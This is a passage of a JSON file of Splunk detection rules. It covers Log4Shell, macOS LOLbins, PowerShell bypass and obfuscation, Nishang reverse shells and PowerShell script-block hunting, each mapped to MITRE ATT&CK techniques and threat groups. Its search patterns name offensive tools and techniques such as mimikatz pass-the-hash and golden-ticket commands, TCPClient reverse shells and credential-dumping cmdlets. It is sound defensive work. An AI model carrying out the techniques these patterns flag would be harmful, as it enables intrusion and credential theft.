"Mustard Tempest", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "Rancor", - "Rocke", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA505", - "TA551", - "TeamTNT", - "Threat Group-3390", - "Tonto Team", - "Tropic Trooper", - "Turla", - "Volatile Cedar", - "WIRTE", - "Whitefly", - "Windshift", - "Winnti Group", - "Wizard Spider", - "ZIRCONIUM", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Log4Shell CVE-2021-44228 Exploitation", - "description": "The following analytic identifies potential exploitation of Log4Shell CVE-2021-44228 by correlating multiple MITRE ATT&CK tactics detected in risk events. It leverages Splunk's risk data model to calculate the distinct count of MITRE ATT&CK tactics from Log4Shell-related detections. This activity is significant because it indicates a high probability of exploitation if two or more distinct tactics are observed. If confirmed malicious, this activity could lead to initial payload delivery, callback to a malicious server, and post-exploitation activities, potentially resulting in unauthorized access, lateral movement, and further compromise of the affected systems.", - "search": "| tstats `security_content_summariesonly` min(_time) as firstTime max(_time) as lastTime sum(All_Risk.calculated_risk_score) as risk_score, count(All_Risk.calculated_risk_score) as risk_event_count, values(All_Risk.annotations.mitre_attack.mitre_tactic_id) as annotations.mitre_attack.mitre_tactic_id, dc(All_Risk.annotations.mitre_attack.mitre_tactic_id) as mitre_tactic_id_count, values(All_Risk.annotations.mitre_attack.mitre_technique_id) as annotations.mitre_attack.mitre_technique_id, dc(All_Risk.annotations.mitre_attack.mitre_technique_id) as mitre_technique_id_count, values(All_Risk.tag) as tag, values(source) as source, dc(source) as source_count from datamodel=Risk.All_Risk where All_Risk.analyticstories=\"Log4Shell CVE-2021-44228\" All_Risk.risk_object_type=\"system\" by All_Risk.risk_object All_Risk.risk_object_type All_Risk.annotations.mitre_attack.mitre_tactic | `drop_dm_object_name(All_Risk)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | where source_count >= 2 | `log4shell_cve_2021_44228_exploitation_filter`", - "tags": { - "analytic_story": [ - "CISA AA22-320A", - "Log4Shell CVE-2021-44228" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Command and Control", - "Delivery", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "risk_object", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Log4Shell Exploitation detected against $risk_object$.", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1105", - "mitre_attack_technique": "Ingress Tool Transfer", - "mitre_attack_tactics": [ - "Command And Control" - ], - "mitre_attack_groups": [ - "APT-C-36", - "APT18", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT37", - "APT38", - "APT39", - "APT41", - "Ajax Security Team", - "Andariel", - "Aquatic Panda", - "BITTER", - "BRONZE BUTLER", - "BackdoorDiplomacy", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "Darkhotel", - "Dragonfly", - "Elderwood", - "Ember Bear", - "Evilnum", - "FIN13", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "IndigoZebra", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "LuminousMoth", - "Magic Hound", - "Metador", - "Molerats", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "Nomadic Octopus", - "OilRig", - "PLATINUM", - "Patchwork", - "Rancor", - "Rocke", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Silence", - "TA2541", - "TA505", - "TA551", - "TeamTNT", - "Threat Group-3390", - "Tonto Team", - "Tropic Trooper", - "Turla", - "Volatile Cedar", - "WIRTE", - "Whitefly", - "Windshift", - "Winnti Group", - "Wizard Spider", - "ZIRCONIUM", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "MacOS LOLbin", - "description": "The following analytic detects multiple executions of Living off the Land (LOLbin) binaries on macOS within a short period. It leverages osquery to monitor process events and identifies commands such as \"find\", \"crontab\", \"screencapture\", \"openssl\", \"curl\", \"wget\", \"killall\", and \"funzip\". This activity is significant as LOLbins are often used by attackers to perform malicious actions while evading detection. If confirmed malicious, this behavior could allow attackers to execute arbitrary code, escalate privileges, or persist within the environment, posing a significant security risk.", - "search": "`osquery` name=es_process_events columns.cmdline IN (\"find*\", \"crontab*\", \"screencapture*\", \"openssl*\", \"curl*\", \"wget*\", \"killall*\", \"funzip*\") | rename columns.* as * | stats min(_time) as firstTime max(_time) as lastTime values(cmdline) as cmdline, values(pid) as pid, values(parent) as parent, values(path) as path, values(signing_id) as signing_id, dc(path) as dc_path by username host | rename username as user, cmdline as process, path as process_path, host as dest | where dc_path > 3 | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `macos_lolbin_filter`", - "tags": { - "analytic_story": [ - "Living Off The Land" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Multiplle LOLbin are executed on host $dest$ by user $user$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059.004", - "mitre_attack_technique": "Unix Shell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT41", - "Rocke", - "TeamTNT" - ] - }, - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - } - ] - } - }, - { - "name": "Malicious PowerShell Process - Execution Policy Bypass", - "description": "The following analytic detects PowerShell processes initiated with parameters that bypass the local execution policy for scripts. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions containing specific flags like \"-ex\" or \"bypass.\" This activity is significant because bypassing execution policies is a common tactic used by attackers to run malicious scripts undetected. If confirmed malicious, this could allow an attacker to execute arbitrary code, potentially leading to further system compromise, data exfiltration, or persistent access within the environment.", - "search": "| tstats `security_content_summariesonly` values(Processes.process_id) as process_id, values(Processes.parent_process_id) as parent_process_id values(Processes.process) as process min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_powershell` (Processes.process=\"* -ex*\" OR Processes.process=\"* bypass *\") by Processes.process_id, Processes.user, Processes.dest | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `malicious_powershell_process___execution_policy_bypass_filter`", - "tags": { - "analytic_story": [ - "AsyncRAT", - "DHS Report TA18-074A", - "DarkCrystal RAT", - "HAFNIUM Group", - "Volt Typhoon" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "PowerShell local execution policy bypass attempt on $dest$", - "risk_score": 42, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "Malicious PowerShell Process With Obfuscation Techniques", - "description": "The following analytic detects PowerShell processes launched with command-line arguments indicative of obfuscation techniques. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names, parent processes, and complete command-line executions. This activity is significant because obfuscated PowerShell commands are often used by attackers to evade detection and execute malicious scripts. If confirmed malicious, this activity could lead to unauthorized code execution, privilege escalation, or persistent access within the environment, posing a significant security risk.", - "search": "| tstats `security_content_summariesonly` count values(Processes.process) as process values(Processes.parent_process) as parent_process min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_powershell` by Processes.user Processes.process_name Processes.original_file_name Processes.parent_process_name Processes.dest Processes.process | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)`| eval num_obfuscation = (mvcount(split(process,\"`\"))-1) + (mvcount(split(process, \"^\"))-1) + (mvcount(split(process, \"'\"))-1) | `malicious_powershell_process_with_obfuscation_techniques_filter` | search num_obfuscation > 10 ", - "tags": { - "analytic_story": [ - "Data Destruction", - "Hermetic Wiper", - "Malicious PowerShell" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Powershell.exe running with potential obfuscated arguments on $dest$", - "risk_score": 42, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "MS Scripting Process Loading Ldap Module", - "description": "The following analytic detects the execution of MS scripting processes (wscript.exe or cscript.exe) loading LDAP-related modules (Wldap32.dll, adsldp.dll, adsldpc.dll). It leverages Sysmon EventCode 7 to identify these specific DLL loads. This activity is significant as it may indicate an attempt to query LDAP for host information, a behavior observed in FIN7 implants. If confirmed malicious, this could allow attackers to gather detailed Active Directory information, potentially leading to further exploitation or data exfiltration.", - "search": "`sysmon` EventCode =7 Image IN (\"*\\\\wscript.exe\", \"*\\\\cscript.exe\") ImageLoaded IN (\"*\\\\Wldap32.dll\", \"*\\\\adsldp.dll\", \"*\\\\adsldpc.dll\") | stats min(_time) as firstTime max(_time) as lastTime count by Image EventCode process_name ProcessId ProcessGuid Computer ImageLoaded | rename Computer as dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `ms_scripting_process_loading_ldap_module_filter`", - "tags": { - "analytic_story": [ - "FIN7" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "$process_name$ loading ldap modules $ImageLoaded$ in $dest$", - "risk_score": 9, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1059.007", - "mitre_attack_technique": "JavaScript", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT32", - "Cobalt Group", - "Earth Lusca", - "Ember Bear", - "Evilnum", - "FIN6", - "FIN7", - "Higaisa", - "Indrik Spider", - "Kimsuky", - "LazyScripter", - "Leafminer", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Sidewinder", - "Silence", - "TA505", - "Turla" - ] - } - ] - } - }, - { - "name": "MS Scripting Process Loading WMI Module", - "description": "The following analytic detects the loading of WMI modules by Microsoft scripting processes like wscript.exe or cscript.exe. It leverages Sysmon EventCode 7 to identify instances where these scripting engines load specific WMI-related DLLs. This activity is significant because it can indicate the presence of malware, such as the FIN7 implant, which uses JavaScript to execute WMI queries for gathering host information to send to a C2 server. If confirmed malicious, this behavior could allow attackers to collect sensitive system information and maintain persistence within the environment.", - "search": "`sysmon` EventCode =7 Image IN (\"*\\\\wscript.exe\", \"*\\\\cscript.exe\") ImageLoaded IN (\"*\\\\fastprox.dll\", \"*\\\\wbemdisp.dll\", \"*\\\\wbemprox.dll\", \"*\\\\wbemsvc.dll\" , \"*\\\\wmiutils.dll\", \"*\\\\wbemcomn.dll\") | stats min(_time) as firstTime max(_time) as lastTime count by Image EventCode process_name ProcessId ProcessGuid Computer ImageLoaded | rename Computer as dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `ms_scripting_process_loading_wmi_module_filter`", - "tags": { - "analytic_story": [ - "FIN7" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "$process_name$ loading wmi modules $ImageLoaded$ in $dest$", - "risk_score": 9, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1059.007", - "mitre_attack_technique": "JavaScript", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT32", - "Cobalt Group", - "Earth Lusca", - "Ember Bear", - "Evilnum", - "FIN6", - "FIN7", - "Higaisa", - "Indrik Spider", - "Kimsuky", - "LazyScripter", - "Leafminer", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Sidewinder", - "Silence", - "TA505", - "Turla" - ] - } - ] - } - }, - { - "name": "Nishang PowershellTCPOneLine", - "description": "The following analytic detects the use of the Nishang Invoke-PowerShellTCPOneLine utility, which initiates a callback to a remote Command and Control (C2) server. It leverages Endpoint Detection and Response (EDR) data, focusing on PowerShell processes that include specific .NET classes like Net.Sockets.TCPClient and System.Text.ASCIIEncoding. This activity is significant as it indicates potential remote control or data exfiltration attempts by an attacker. If confirmed malicious, this could lead to unauthorized remote access, data theft, or further compromise of the affected system.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_powershell` (Processes.process=*Net.Sockets.TCPClient* AND Processes.process=*System.Text.ASCIIEncoding*) by Processes.dest Processes.user Processes.parent_process Processes.original_file_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)`| `nishang_powershelltcponeline_filter`", - "tags": { - "analytic_story": [ - "HAFNIUM Group" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Possible Nishang Invoke-PowerShellTCPOneLine behavior on $dest$", - "risk_score": 42, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - } - ] - } - }, - { - "name": "PowerShell 4104 Hunting", - "description": "The following analytic identifies suspicious PowerShell execution using Script Block Logging (EventCode 4104). It leverages specific patterns and keywords within the ScriptBlockText field to detect potentially malicious activities. This detection is significant for SOC analysts as PowerShell is commonly used by attackers for various malicious purposes, including code execution, privilege escalation, and persistence. If confirmed malicious, this activity could allow attackers to execute arbitrary commands, exfiltrate data, or maintain long-term access to the compromised system, posing a severe threat to the organization's security.", - "search": "`powershell` EventCode=4104 | eval DoIt = if(match(ScriptBlockText,\"(?i)(\\$doit)\"), \"4\", 0) | eval enccom=if(match(ScriptBlockText,\"[A-Za-z0-9+\\/]{44,}([A-Za-z0-9+\\/]{4}|[A-Za-z0-9+\\/]{3}=|[A-Za-z0-9+\\/]{2}==)\") OR match(ScriptBlockText, \"(?i)[-]e(nc*o*d*e*d*c*o*m*m*a*n*d*)*\\s+[^-]\"),4,0) | eval suspcmdlet=if(match(ScriptBlockText, \"(?i)Add-Exfiltration|Add-Persistence|Add-RegBackdoor|Add-ScrnSaveBackdoor|Check-VM|Do-Exfiltration|Enabled-DuplicateToken|Exploit-Jboss|Find-Fruit|Find-GPOLocation|Find-TrustedDocuments|Get-ApplicationHost|Get-ChromeDump|Get-ClipboardContents|Get-FoxDump|Get-GPPPassword|Get-IndexedItem|Get-Keystrokes|LSASecret|Get-PassHash|Get-RegAlwaysInstallElevated|Get-RegAutoLogon|Get-RickAstley|Get-Screenshot|Get-SecurityPackages|Get-ServiceFilePermission|Get-ServicePermission|Get-ServiceUnquoted|Get-SiteListPassword|Get-System|Get-TimedScreenshot|Get-UnattendedInstallFile|Get-Unconstrained|Get-VaultCredential|Get-VulnAutoRun|Get-VulnSchTask|Gupt-Backdoor|HTTP-Login|Install-SSP|Install-ServiceBinary|Invoke-ACLScanner|Invoke-ADSBackdoor|Invoke-ARPScan|Invoke-AllChecks|Invoke-BackdoorLNK|Invoke-BypassUAC|Invoke-CredentialInjection|Invoke-DCSync|Invoke-DllInjection|Invoke-DowngradeAccount|Invoke-EgressCheck|Invoke-Inveigh|Invoke-InveighRelay|Invoke-Mimikittenz|Invoke-NetRipper|Invoke-NinjaCopy|Invoke-PSInject|Invoke-Paranoia|Invoke-PortScan|Invoke-PoshRat|Invoke-PostExfil|Invoke-PowerDump|Invoke-PowerShellTCP|Invoke-PsExec|Invoke-PsUaCme|Invoke-ReflectivePEInjection|Invoke-ReverseDNSLookup|Invoke-RunAs|Invoke-SMBScanner|Invoke-SSHCommand|Invoke-Service|Invoke-Shellcode|Invoke-Tater|Invoke-ThunderStruck|Invoke-Token|Invoke-UserHunter|Invoke-VoiceTroll|Invoke-WScriptBypassUAC|Invoke-WinEnum|MailRaider|New-HoneyHash|Out-Minidump|Port-Scan|PowerBreach|PowerUp|PowerView|Remove-Update|Set-MacAttribute|Set-Wallpaper|Show-TargetScreen|Start-CaptureServer|VolumeShadowCopyTools|NEEEEWWW|(Computer|User)Property|CachedRDPConnection|get-net\\S+|invoke-\\S+hunter|Install-Service|get-\\S+(credent|password)|remoteps|Kerberos.*(policy|ticket)|netfirewall|Uninstall-Windows|Verb\\s+Runas|AmsiBypass|nishang|Invoke-Interceptor|EXEonRemote|NetworkRelay|PowerShelludp|PowerShellIcmp|CreateShortcut|copy-vss|invoke-dll|invoke-mass|out-shortcut|Invoke-ShellCommand\"),1,0) | eval base64 = if(match(lower(ScriptBlockText),\"frombase64\"), \"4\", 0) | eval empire=if(match(lower(ScriptBlockText),\"system.net.webclient\") AND match(lower(ScriptBlockText), \"frombase64string\") ,5,0) | eval mimikatz=if(match(lower(ScriptBlockText),\"mimikatz\") OR match(lower(ScriptBlockText), \"-dumpcr\") OR match(lower(ScriptBlockText), \"SEKURLSA::Pth\") OR match(lower(ScriptBlockText), \"kerberos::ptt\") OR match(lower(ScriptBlockText), \"kerberos::golden\") ,5,0) | eval iex=if(match(ScriptBlockText, \"(?i)iex|invoke-expression\"),2,0) | eval webclient=if(match(lower(ScriptBlockText),\"http\") OR match(lower(ScriptBlockText),\"web(client|request)\") OR match(lower(ScriptBlockText),\"socket\") OR match(lower(ScriptBlockText),\"download(file|string)\") OR match(lower(ScriptBlockText),\"bitstransfer\") OR match(lower(ScriptBlockText),\"internetexplorer.application\") OR match(lower(ScriptBlockText),\"xmlhttp\"),5,0) | eval get = if(match(lower(ScriptBlockText),\"get-\"), \"1\", 0) | eval rundll32 = if(match(lower(ScriptBlockText),\"rundll32\"), \"4\", 0) | eval suspkeywrd=if(match(ScriptBlockText, \"(?i)(bitstransfer|mimik|metasp|AssemblyBuilderAccess|Reflection\\.Assembly|shellcode|injection|cnvert|shell\\.application|start-process|Rc4ByteStream|System\\.Security\\.Cryptography|lsass\\.exe|localadmin|LastLoggedOn|hijack|BackupPrivilege|ngrok|comsvcs|backdoor|brute.?force|Port.?Scan|Exfiltration|exploit|DisableRealtimeMonitoring|beacon)\"),1,0) | eval syswow64 = if(match(lower(ScriptBlockText),\"syswow64\"), \"3\", 0) | eval httplocal = if(match(lower(ScriptBlockText),\"http://127.0.0.1\"), \"4\", 0) | eval reflection = if(match(lower(ScriptBlockText),\"reflection\"), \"1\", 0) | eval invokewmi=if(match(lower(ScriptBlockText), \"(?i)(wmiobject|WMIMethod|RemoteWMI|PowerShellWmi|wmicommand)\"),5,0) | eval downgrade=if(match(ScriptBlockText, \"(?i)([-]ve*r*s*i*o*n*\\s+2)\") OR match(lower(ScriptBlockText),\"powershell -version\"),3,0) | eval compressed=if(match(ScriptBlockText, \"(?i)GZipStream|::Decompress|IO.Compression|write-zip|(expand|compress)-Archive\"),5,0) | eval invokecmd = if(match(lower(ScriptBlockText),\"invoke-command\"), \"4\", 0) | addtotals fieldname=Score DoIt, enccom, suspcmdlet, suspkeywrd, compressed, downgrade, mimikatz, iex, empire, rundll32, webclient, syswow64, httplocal, reflection, invokewmi, invokecmd, base64, get | stats values(Score) by UserID, Computer, DoIt, enccom, compressed, downgrade, iex, mimikatz, rundll32, empire, webclient, syswow64, httplocal, reflection, invokewmi, invokecmd, base64, get, suspcmdlet, suspkeywrd | rename Computer as dest, UserID as user | `powershell_4104_hunting_filter`", - "tags": { - "analytic_story": [ - "CISA AA23-347A", - "DarkGate Malware", - "Data Destruction", - "Flax Typhoon", 